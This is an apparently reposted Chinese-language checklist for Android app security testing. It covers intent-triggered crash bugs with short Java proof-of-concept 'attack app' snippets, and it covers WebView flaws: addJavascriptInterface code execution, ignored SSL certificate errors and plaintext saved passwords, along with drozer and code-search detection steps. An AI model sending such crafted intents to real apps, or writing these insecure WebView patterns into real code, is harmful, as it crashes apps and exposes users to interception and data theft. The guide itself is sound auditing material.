IndexOutOfBoundsException异常导致的拒绝服务:
源于程序没有对 getIntegerArrayListExtra()等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃。
漏洞应用代码片段:
Intent intent = getIntent(); ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id"); if (intArray != null) { for (int i = 0; i < USER_NUM; i++) { intArray.get(i); } } |
攻击应用代码片段:
Intent intent = new Intent(); intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity"); ArrayList<Integer> user_id = new ArrayList<Integer>(); intent.putExtra("user_id", user_id); startActivity(intent); ) |
ClassNotFoundException异常导致的拒绝服务
源于程序没有无法找到从 getSerializableExtra ()获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃。
漏洞应用代码片段:
Intent i = getIntent(); i.getSerializableExtra("serializable_key"); |
攻击应用代码片段:
public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Intent i = new Intent(); i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity"); i.putExtra("serializable_key", new SelfSerializableData()); startActivity(i); } static class SelfSerializableData implements Serializable { private static final long serialVersionUID = 42L; public SelfSerializableData() { super(); } } |
java我几乎不了解,这里先作记录,以后接触java代码审计的时候再来填坑。
webview 组件安全:
Android 4.2 版本以下的 webview 组件存在安全漏洞(CVE-2012-6636)。检测客户端是否采取措施避免漏洞被利用。检查应用 AndroidManifest.xml 中的 targetSdkVersion是否大于等于 17。
WebView 代码执行检测:
android系统通过WebView.addJavascriptInterface方法注册可供JavaScript调用的Java对象,以用于增强 JavaScript 的功能。但是系统并没有对注册 Java 类的方法调用的限制。导致攻击者可以利用反射机制调用未注册的其它任何 Java 类,最终导致 JavaScript 能力的无限增强。攻击者利用该漏洞可以根据客户端执行任意代码。
Webview代码执行漏洞出现在安卓2.1~4.3.1版本,检查targetSdkVersion 、minSdkVersion(MobSF)。
若 targetsdkVersion>=19 或通过 minSdkVersion 进行限制则无此问题,否则在低版本上测试,(可使用相关检测代码),检查代码中是否使用 addJavascriptInterface()。
drozer测试:
run scanner.misc.checkjavascriptbridge -a 包名 |
模块安装参考:
测试流程:
1、使用反编译工具打开应用,反编译出应用源码。
2、在源码中搜索类似写法:
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(newJSInvokeClass(), "js2java");
3、那么该处就可能存在 Web 组件远程代码执行的风险。
4、如果存在该风险,将会在改页面中显示出存在问题的接口,记录漏洞,停止测试
WebView 不校验证书检测:
Android WebView组件加载网页发生证书认证错误时,会调用WebViewClient类的onReceivedSslError方法,如果该方法实现调用了handler.proceed()来忽略该证书错误,则会受到中间人攻击的威胁,可能导致隐私泄露。
调用了 android/webkit/SslErrorHandler 类的 proceed 方法,可能导致 WebView 忽略校验证书的步骤。
全局搜索“onReceivedSslError”,看是否调用了 handle.proceed()方法(在 webview 组件代码中测试)。
WebView 密码明文保存检测:
在使用 WebView 的过程中忽略了 WebView setSavePassword,当用户选择保存在WebView中输入的用户名和密码,则会被明文保存到应用数据目录的databases/webview.db 中。如果手机被 root 就可以获取明文保存的密码,造成用户的个人敏感数据泄露。
搜”setSavePassword”,看是否显式设置为 false(在 webview 组件代码中测试)
修复建议:
使用WebView.getSettings().setSavePassword(false)来禁止保存密码
本文内容不用于商业目的,如涉及知识产权问题,请权利人联系51Testing小编(021-64471599-8017),我们将立即处理。